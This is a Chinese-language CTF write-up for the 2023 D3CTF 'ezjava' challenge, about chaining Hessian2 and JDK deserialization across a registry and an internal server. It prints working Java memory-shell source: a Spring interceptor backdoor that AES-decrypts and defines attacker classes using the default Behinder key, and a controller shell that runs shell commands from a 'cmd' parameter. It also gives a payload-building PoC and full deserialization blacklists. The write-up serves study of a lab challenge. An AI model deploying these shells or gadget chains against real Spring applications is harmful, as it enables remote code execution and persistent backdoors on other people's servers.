D3CTF x AntCTF 2023 ezjava
2023-10-04 15:55:26

前言

个人感觉非常有意义的一道题,做完之后学习到了很多,索性写个WP来记录下其过程,以及复现过程中所踩的坑
附上题目链接:
链接:https://pan.baidu.com/s/1_F83FKLGeXCqjIzuGpIEfg
提取码:aeui

附件解析

docker文件

Pasted image 20231004122718.png
分为registry 和 server

docker-compose

version: '3'
services:
  registry:
    build: 'registry'
    ports:
      - 8080:8080
  server:
    build: 'server'
    # ports:
      # - 8081:8080
    depends_on:
      - registry
# networks:
#   front:
#     driver: custom-driver-1

可以看见对外开启了registry的8080端口server没有对外映射

flag在server中,需要走registry进入内网对server进行攻击并且获取flag (别在意反编译
Pasted image 20231004122859.png

registry服务的jar
Pasted image 20231004123536.png

registry.jar分析

对附件registry.jar进行反编译,获取源码

MainController

package com.example.registry.controller;

import com.alibaba.fastjson2.JSON;
import com.example.registry.data.Blacklist;
import com.example.registry.data.Result;
import com.example.registry.util.DefaultSerializer;
import com.example.registry.util.HessianSerializer;
import com.example.registry.util.Request;
import io.swagger.v3.oas.annotations.Operation;
import io.swagger.v3.oas.annotations.tags.Tag;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;

@Tag(name = "Registry Controller")
@RestController
/* loaded from: registry-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/registry/controller/MainController.class */
public class MainController {
    @GetMapping({"/"})
    @Operation(description = "hello for all")
    public String hello() {
        return "hello";
    }

    @GetMapping({"/client/status"})
    @Operation(description = "registry will request client '/status' to get client status.")
    public Result clientStatus() {
        try {
            String json = Request.get("http://server:8080/status");
            return (Result) JSON.parseObject(json, (Class<Object>) Result.class);
        } catch (Exception e) {
            return Result.of("500", "client is down");
        }
    }

    @GetMapping({"/blacklist/jdk/get"})
    @Operation(description = "return serialized blacklist for client. Client will require blacklist every 10 sec.")
    public Result getBlacklist() {
        String data;
        try {
            data = DefaultSerializer.serialize(Blacklist.readBlackList(Blacklist.DEFAULT_JDK_SERIALIZE_BLACK_LIST));
        } catch (Exception e) {
            data = e.getMessage();
        }
        return Result.of("200", data);
    }

    @GetMapping({"/blacklist/hessian/get"})
    @Operation(description = "get serialized blacklist for registry")
    public Result getHessianBlacklist() {
        String data;
        try {
            data = DefaultSerializer.serialize(Blacklist.hessianBlackList);
        } catch (Exception e) {
            data = e.getMessage();
        }
        return Result.of("200", data);
    }

    @PostMapping({"/hessian/deserialize"})
    @Operation(description = "deserialize base64Str using hessian")
    public Result deserialize(String base64Str) {
        String data;
        String code = "200";
        try {
            byte[] serialized = Base64.getDecoder().decode(base64Str);
            HessianSerializer.deserialize(serialized);
            data = "deserialize success";
        } catch (Exception e) {
            data = "error: " + e.getMessage();
            code = "500";
        }
        return Result.of(code, data);
    }
}

大概分析

  • /client/status  会去访问 server的status路由,并且使用fastjson进行解析
  • /blacklist/jdk/get  返回jdk_blacklist.txt黑名单序列化后的数据
  • /blacklist/hessian/get  返回hessian_blacklist.txt黑名单序列化后的数据
  • /hessian/deserialize 接受base64Str参数,将其base64解密后判断是否存在黑名单类后进行hessian反序列化

server.jar分析

IndexController

package com.example.server.controller;

import ch.qos.logback.core.spi.AbstractComponentTracker;
import com.alibaba.fastjson2.JSON;
import com.example.server.data.Result;
import com.example.server.util.DefaultSerializer;
import com.example.server.util.Request;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
/* loaded from: server-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/server/controller/IndexController.class */
public class IndexController {
    public static List<String> denyClasses = new ArrayList();
    public static long lastTimestamp = 0;

    @GetMapping({"/status"})
    public Result status() {
        String msg;
        try {
            long currentTimestamp = System.currentTimeMillis();
            msg = String.format("client %s is online", InetAddress.getLocalHost().getHostName());
            if (currentTimestamp - lastTimestamp > AbstractComponentTracker.LINGERING_TIMEOUT) {
            //这里的AbstractComponentTracker.LINGERING_TIMEOUT是10000
                update();
                lastTimestamp = System.currentTimeMillis();
            }
        } catch (Exception e) {
            msg = "client is online";
        }
        return Result.of("200", msg);
    }

    public void update() {
        try {
            String json = Request.get("http://registry:8080/blacklist/jdk/get");
            Result result = (Result) JSON.parseObject(json, (Class<Object>) Result.class);
            Object msg = result.getMessage();
            if (msg instanceof String) {
                byte[] data = Base64.getDecoder().decode((String) msg);
                denyClasses = (List) DefaultSerializer.deserialize(data, denyClasses);
            } else if (msg instanceof List) {
                denyClasses = (List) msg;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

只有一个status路由,会判断是否与上次调用间隔10秒,true则会调用update函数
访问registry的/blacklist/jdk/get路由,使用fastjson解析json数据,获取其中的message字段值,将其反序列化后设置为denyClasses

具体的反序列化源码如下:

package com.example.server.util;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;

/* loaded from: server-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/server/util/DefaultSerializer.class */
public class DefaultSerializer {
    public static String serialize(Object obj) throws Exception {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return encode(out.toByteArray());
    }

    public static String encode(byte[] data) throws Exception {
        return Base64.getEncoder().encodeToString(data);
    }

    public static Object deserialize(byte[] obj, List<String> denyClasses) throws Exception {
        if (denyClasses == null || denyClasses.isEmpty()) {
            denyClasses = readBlackList("security/jdk_blacklist.txt");
        }
        ByteArrayInputStream in = new ByteArrayInputStream(obj);
        AntObjectInputStream objIn = new AntObjectInputStream(in);
        objIn.setDenyClasses(denyClasses);
        return objIn.readObject();
    }

    public static List<String> readBlackList(String blackListFile) {
        List<String> result = new ArrayList<>();
        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
        InputStream inputStream = classLoader.getResourceAsStream(blackListFile);
        if (inputStream != null) {
            Scanner scanner = null;
            try {
                scanner = new Scanner(inputStream);
                while (scanner.hasNextLine()) {
                    String nextLine = scanner.nextLine();
                    if (!isBlank(nextLine)) {
                        result.add(nextLine);
                    }
                }
                if (scanner != null) {
                    scanner.close();
                }
            } catch (Exception e) {
                if (scanner != null) {
                    scanner.close();
                }
            } catch (Throwable th) {
                if (scanner != null) {
                    scanner.close();
                }
                throw th;
            }
        }
        return result;
    }

    static boolean isBlank(String cs) {
        int strLen;
        if (cs == null || (strLen = cs.length()) == 0) {
            return true;
        }
        for (int i = 0; i < strLen; i++) {
            if (!Character.isWhitespace(cs.charAt(i))) {
                return false;
            }
        }
        return true;
    }
}

可以看见当denyclasses为空时,会读取本地的security/jdk_blacklist.txt为denyclasses,

bsh.Interpreter  
bsh.XThis  
clojure.core$constantly  
clojure.main$eval_opt  
com.mchange.v2.c3p0.JndiRefForwardingDataSource  
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource  
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase  
com.rometools.rome.feed.impl.EqualsBean  
com.rometools.rome.feed.impl.ToStringBean  
com.sun.jndi.ldap.LdapAttribute  
com.sun.jndi.rmi.registry.BindingEnumeration  
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl  
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl  
com.sun.rowset.JdbcRowSetImpl  
com.sun.syndication.feed.impl.ObjectBean  
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data  
com.alibaba.fastjson.JSONObject  
com.alibaba.fastjson2.JSONObject  
java.beans.EventHandler  
java.lang.reflect.Proxy  
java.net.URL  
java.rmi.registry.Registry  
java.rmi.server.ObjID  
java.rmi.server.RemoteObjectInvocationHandler  
java.rmi.server.UnicastRemoteObject  
java.security.SignedObject  
java.util.Comparator  
java.util.PriorityQueue  
java.util.ServiceLoader$LazyIterator  
javax.imageio.ImageIO$ContainsFilter  
javax.management.BadAttributeValueExpException  
javax.management.MBeanServerInvocationHandler  
javax.management.openmbean.CompositeDataInvocationHandler  
javax.naming.InitialContext  
javax.naming.spi.ObjectFactory  
javax.script.ScriptEngineManager  
javax.xml.transform.Templates  
net.sf.json.JSONObject  
org.apache.commons.beanutils.BeanComparator  
org.apache.commons.collections.Transformer  
org.apache.commons.collections.functors.ChainedTransformer  
org.apache.commons.collections.functors.ConstantTransformer  
org.apache.commons.collections.functors.InstantiateTransformer  
org.apache.commons.collections.functors.InvokerTransformer  
org.apache.commons.collections4.comparators.TransformingComparator  
org.apache.commons.collections4.functors.ChainedTransformer  
org.apache.commons.collections4.functors.ConstantTransformer  
org.apache.commons.collections4.functors.InstantiateTransformer  
org.apache.commons.collections4.functors.InvokerTransformer  
org.apache.commons.dbcp.datasources.PerUserPoolDataSource  
org.apache.commons.dbcp.datasources.SharedPoolDataSource  
org.apache.commons.dbcp2.datasources.PerUserPoolDataSource  
org.apache.commons.fileupload.disk.DiskFileItem  
org.apache.myfaces.context.servlet.FacesContextImpl  
org.apache.myfaces.context.servlet.FacesContextImplBase  
org.apache.myfaces.el.CompositeELResolver  
org.apache.myfaces.el.unified.FacesELContext  
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression  
org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource  
org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource  
org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource  
org.apache.wicket.util.upload.DiskFileItem  
org.apache.xalan.xsltc.trax.TemplatesImpl  
org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding  
org.codehaus.groovy.runtime.ConvertedClosure  
org.codehaus.groovy.runtime.MethodClosure  
org.hibernate.engine.spi.TypedValue  
org.hibernate.tuple.component.AbstractComponentTuplizer  
org.hibernate.tuple.component.PojoComponentTuplizer  
org.hibernate.type.AbstractType  
org.hibernate.type.ComponentType  
org.hibernate.type.Type  
org.jboss.interceptor.builder.InterceptionModelBuilder  
org.jboss.interceptor.builder.MethodReference  
org.jboss.interceptor.proxy.DefaultInvocationContextFactory  
org.jboss.interceptor.proxy.InterceptorMethodHandler  
org.jboss.interceptor.reader.ClassMetadataInterceptorReference  
org.jboss.interceptor.reader.DefaultMethodMetadata  
org.jboss.interceptor.reader.ReflectiveClassMetadata  
org.jboss.interceptor.reader.SimpleInterceptorMetadata  
org.jboss.interceptor.spi.instance.InterceptorInstantiator  
org.jboss.interceptor.spi.metadata.InterceptorReference  
org.jboss.interceptor.spi.metadata.MethodMetadata  
org.jboss.interceptor.spi.model.InterceptionModel  
org.jboss.interceptor.spi.model.InterceptionType  
org.jboss.weld.interceptor.builder.InterceptionModelBuilder  
org.jboss.weld.interceptor.builder.MethodReference  
org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory  
org.jboss.weld.interceptor.proxy.InterceptorMethodHandler  
org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference  
org.jboss.weld.interceptor.reader.DefaultMethodMetadata  
org.jboss.weld.interceptor.reader.ReflectiveClassMetadata  
org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata  
org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator  
org.jboss.weld.interceptor.spi.metadata.InterceptorReference  
org.jboss.weld.interceptor.spi.metadata.MethodMetadata  
org.jboss.weld.interceptor.spi.model.InterceptionModel  
org.jboss.weld.interceptor.spi.model.InterceptionType  
org.mozilla.javascript.Context  
org.mozilla.javascript.IdScriptableObject  
org.mozilla.javascript.MemberBox  
org.mozilla.javascript.NativeError  
org.mozilla.javascript.NativeJavaMethod  
org.mozilla.javascript.NativeJavaObject  
org.mozilla.javascript.NativeObject  
org.mozilla.javascript.ScriptableObject  
org.python.core.PyBytecode  
org.python.core.PyFunction  
org.python.core.PyObject  
org.reflections.Reflections  
org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder  
org.springframework.aop.framework.AdvisedSupport  
org.springframework.aop.framework.JdkDynamicAopProxy  
org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor  
org.springframework.aop.target.SingletonTargetSource  
org.springframework.beans.factory.ObjectFactory  
org.springframework.beans.factory.config.PropertyPathFactoryBean  
org.springframework.beans.factory.support.DefaultListableBeanFactory  
org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider  
org.springframework.core.SerializableTypeWrapper$TypeProvider  
org.springframework.jndi.support.SimpleJndiBeanFactory  
org.springframework.transaction.jta.JtaTransactionManager  
sun.rmi.server.UnicastRef  
sun.rmi.server.UnicastRef2  
com.mysql.jdbc.jdbc2.optional.MysqlDataSource  
org.jboss.proxy.ejb.handle.HomeHandleImpl

但是可以通过后续控制registry的 /blacklist/jdk/get路由的返回值,来覆盖其denyClasses为空或者为任意类,当覆盖后再次使用恶意反序列化链进行攻击即可

解题

registry为入口,其存在着一个可以hessian反序列化的路由,并且还是hessian2
Pasted image 20231004124820.png
观察hessian的黑名单与所存在的依赖

bsh.Interpreter  
bsh.XThis  
ch.qos.logback.core.db.DriverManagerConnectionSource  
ch.qos.logback.core.db.JNDIConnectionSource  
clojure.core$constantly  
clojure.main$eval_opt  
com.caucho.naming.QName  
com.mchange.v2.c3p0.JndiRefForwardingDataSource  
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource  
com.rometools.rome.feed.impl.EqualsBean  
com.rometools.rome.feed.impl.ToStringBean  
com.sun.corba.se.impl.activation.ServerManagerImpl  
com.sun.corba.se.impl.activation.ServerTableEntry  
com.sun.corba.se.impl.presentation.rmi.InvocationHandlerFactoryImpl.CustomCompositeInvocationHandlerImpl  
com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl  
com.sun.corba.se.spi.orbutil.proxy.LinkedInvocationHandler  
com.sun.jndi.rmi.registry.BindingEnumeration  
com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl  
com.sun.org.apache.bcel.internal.util.ClassLoader  
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl  
com.sun.org.apache.xpath.internal.XPathContext  
com.sun.org.apache.xpath.internal.objects.XString  
com.sun.rowset.JdbcRowSetImpl  
com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data  
groovy.lang.GString  
groovy.util.MapEntry  
java.beans.Expression  
java.lang.ProcessBuilder  
java.lang.Runtime  
java.rmi.server.UnicastRemoteObject  
java.security.SignedObject  
java.util.ServiceLoader$LazyIterator  
java.util.StringTokenizer  
java.util.TreeSet  
java.util.HashSet  
javassist.bytecode.annotation.Annotation  
javassist.bytecode.annotation.AnnotationImpl  
javassist.bytecode.annotation.AnnotationMemberValue  
javassist.tools.web.Viewer  
javassist.util.proxy.SerializedProxy  
javax.activation.MimeTypeParameterList  
javax.imageio.ImageIO$ContainsFilter  
javax.imageio.spi.ServiceRegistry  
javax.management.BadAttributeValueExpException  
javax.management.ImmutableDescriptor  
javax.management.remote.rmi.RMIConnector  
javax.naming.InitialContext  
javax.naming.ldap.Rdn  
javax.naming.spi.ObjectFactory  
javax.script.ScriptEngineManager  
javax.sound.sampled.AudioFileFormat  
javax.sound.sampled.AudioFormat  
javax.swing.UIDefaults  
javax.xml.transform.Templates  
org.apache.bcel.util.ClassLoader  
org.apache.commons.beanutils.BeanComparator  
org.apache.commons.beanutils.BeanToPropertyValueTransformer  
org.apache.commons.collections.functors.InvokerTransformer  
org.apache.commons.collections4.functors.InvokerTransformer  
org.apache.commons.fileupload.disk.DiskFileItem  
org.apache.commons.lang3.compare.ObjectToStringComparator  
org.apache.ibatis.javassist.tools.web.Viewer  
org.apache.ibatis.javassist.util.proxy.SerializedProxy  
org.apache.log4j.receivers.db.DriverManagerConnectionSource  
org.apache.tomcat.dbcp.dbcp.BasicDataSource  
org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource  
org.apache.tomcat.dbcp.dbcp2.BasicDataSource  
org.apache.xalan.xsltc.trax.TemplatesImpl  
org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding  
org.apache.xpath.XPathContext  
org.aspectj.apache.bcel.util.ClassLoader  
org.codehaus.groovy.runtime.MethodClosure  
org.eclipse.jetty.util.log.LoggerLog  
org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder  
org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor  
org.springframework.aop.aspectj.AspectJAroundAdvice  
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler  
org.springframework.beans.factory.BeanFactory  
org.springframework.beans.factory.config.MethodInvokingFactoryBean  
org.springframework.beans.factory.config.PropertyPathFactoryBean  
org.springframework.beans.factory.support.DefaultListableBeanFactory$DependencyObjectFactory  
org.springframework.cache.interceptor.BeanFactoryCacheOperationSourceAdvisor  
org.springframework.expression.spel.ast.Indexer$PropertyIndexingValueRef  
org.springframework.expression.spel.ast.MethodReference$MethodValueRef  
org.springframework.jndi.JndiObjectTargetSource  
org.springframework.jndi.support.SimpleJndiBeanFactory  
org.springframework.orm.jpa.AbstractEntityManagerFactoryBean  
org.springframework.transaction.jta.JtaTransactionManager  
sun.rmi.server.UnicastRef  
sun.swing.SwingLazyValue  
sun.print

Pasted image 20231004124948.png
可以很明显的发现 fastjson没有在黑名单中,并且spring自带的jackson也没有被过滤,可能因为这题比阿里云CTF更早一些,所以没有见到师傅使用jackson,又由于hessian可以序列化没有继承Serializable的类,这里就放两个没有被ban的getter

  • UnixPrintServer.getDefaultPrintService
  • ContinuationContext#getTargetContext()
    因为后续需要加载内存马等操作,所以我们选择后者
    因为hessian2的反序列化存在着一个CVE,可以直接去触发类的toString方法,所以链子就此成立
Hessian2.readObject
	JsonArray.toString
		ContinuationContext#getTargetContext()

反序列化链选择好了,但是实际上困难点是内存马的构造,因为server端要获取两次不同的数据,这里选择InterceptorMemshell,并且编写相对应的逻辑

package ezJava;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.context.request.ServletRequestAttributes;  
import org.springframework.web.context.support.WebApplicationContextUtils;  
import org.springframework.web.servlet.HandlerInterceptor;  
import org.springframework.web.servlet.handler.AbstractHandlerMapping;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.crypto.Cipher;  
import javax.crypto.spec.SecretKeySpec;  
import javax.servlet.ServletOutputStream;  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import javax.servlet.http.HttpSession;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.lang.reflect.Method;  
import java.util.ArrayList;  
import java.util.Base64;  
import java.util.HashMap;  
import java.util.List;  
  
public class SpringInterceptorEcho extends AbstractTranslet implements HandlerInterceptor {  
    private static int counter = 0;  
    public SpringInterceptorEcho() throws Exception {  
        WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());  
        RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");  
        field.setAccessible(true);  
        List<HandlerInterceptor> adaptedInterceptors = (List<HandlerInterceptor>) field.get(requestMappingHandlerMapping);  
        adaptedInterceptors.add(new SpringInterceptorEcho(1));  //对所有访问进行监控
    }  
  
    public SpringInterceptorEcho(int n) {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {  
        HttpSession session = request.getSession();  

		//冰蝎马的编写
        HashMap pageContext = new HashMap();  
        pageContext.put("request",request);  
        pageContext.put("response",response);  
        pageContext.put("session",session);  

		//判断访问的是否是/blacklist/jdk/get路由
        if("/blacklist/jdk/get".equals(request.getRequestURI())){  
            response.setContentType("application/json");  
            if(counter % 2 == 0){  //使用counter来控制不同数据传输
                ArrayList arrayList = new ArrayList();  
                arrayList.add("test.test");  
  
  
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
                ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
                objectOutputStream.writeObject(arrayList);  
                String msg = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());  
                objectOutputStream.close();  
                byteArrayOutputStream.close();  
  
                String result = "{\"code\": \"200\" ,\"message\": \"" + msg + "\"}";  
                ServletOutputStream output = response.getOutputStream();  
                output.write(result.getBytes());  
                output.flush();  
  
            }else {  
                String memshell =""; //server反序列化链字节码的base64
  
                String result = "{\"code\": \"200\" ,\"message\": \"" +  memshell + "\"}";  
                ServletOutputStream output = response.getOutputStream();  
                output.write(result.getBytes());  
                output.flush();  
  
            }  
            counter ++;  
            return false;        }  

				//冰蝎马的编写
        if (request.getMethod().equals("POST")) {  
            String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/  
            session.putValue("u", k);  
            Cipher c = Cipher.getInstance("AES");  
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));  
            Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);  
            method.setAccessible(true);  
            byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));  
            Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);  
            evilclass.newInstance().equals(pageContext);  
  
        }  
  
        return true;  
  
    }  
}

Server的Controller内存马

package ezJava;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.context.request.ServletRequestAttributes;  
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;  
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;  
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  
  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.PrintWriter;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationTargetException;  
import java.lang.reflect.Method;  
import java.lang.reflect.Modifier;  
  
public class InjectToController extends AbstractTranslet {  
  
    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException, InstantiationException {  
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);  
     RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);  
        Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");  
        configField.setAccessible(true);  
        RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);  
  
        Method method2 = InjectToController.class.getMethod("test");  
  
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();  
  
        RequestMappingInfo info = RequestMappingInfo.paths("/Shell")  
                .options(config)  
                .build();  
        InjectToController springControllerMemShell = new InjectToController("aaa");  
  
        mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
  
    // 第二个构造函数  
    public InjectToController(String aaa) {}  
  
    // controller指定的处理方法  
    public void test() throws  IOException{  
        // 获取request和response对象  
        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();  
        HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();  
  
        //exec  
        try {  
            String arg0 = request.getParameter("cmd");  
            PrintWriter writer = response.getWriter();  
            if (arg0 != null) {  
                String o = "";  
                java.lang.ProcessBuilder p;  
                if(System.getProperty("os.name").toLowerCase().contains("win")){  
                    p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});  
                }else{  
                    p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});  
                }  
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");  
                o = c.hasNext() ? c.next(): o;  
                c.close();  
                writer.write(o);  
                writer.flush();  
                writer.close();  
            }else{  
                response.sendError(404);  
            }  
        }catch (Exception e){}  
    }  
  
}

Server反序列化链的poc

package ezJava;  
  
import Hessian.tools;  
  
import com.alibaba.fastjson.JSONArray;  
import com.sun.org.apache.bcel.internal.Repository;  
import com.sun.org.apache.bcel.internal.classfile.JavaClass;  
import javax.management.BadAttributeValueExpException;  
  
public class server_poc {  
    public static void main(String[] args) throws Exception {  
        JavaClass javaClass = Repository.lookupClass(InjectToController.class);  
        byte[] bytes = javaClass.getBytes();  
        Object templates = tools.getTemplates(bytes);  
  
        JSONArray jsonArray = new JSONArray();  
        jsonArray.add(templates);  
  
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);  
        tools.setValue(badAttributeValueExpException,"val",jsonArray);  
  
        String serialize = tools.serialize(badAttributeValueExpException);  
        System.out.println(serialize);  
  
    }  
}

从registry打入Inceptor内存马
Pasted image 20231004134706.png

可以发现jdk的黑名单每次访问都会变化Pasted image 20231004134738.pngPasted image 20231004134744.png

使用冰蝎连接内存马,密码为rebeyond,访问两次server的status路由即可加载内存马,获得flag
Pasted image 20231004134832.png

踩坑

可能wp写的很短,但是我在复现的过程中踩了很多坑,例如不知道fastjson的getmessage取的是message键的值,以及打Server jdk原生反序列化时因为fastjson版本问题内存马一直打不进去,不知道为什么Server还用不了jackson去打(感觉还是版本问题

Prev
2023-10-04 15:55:26
Next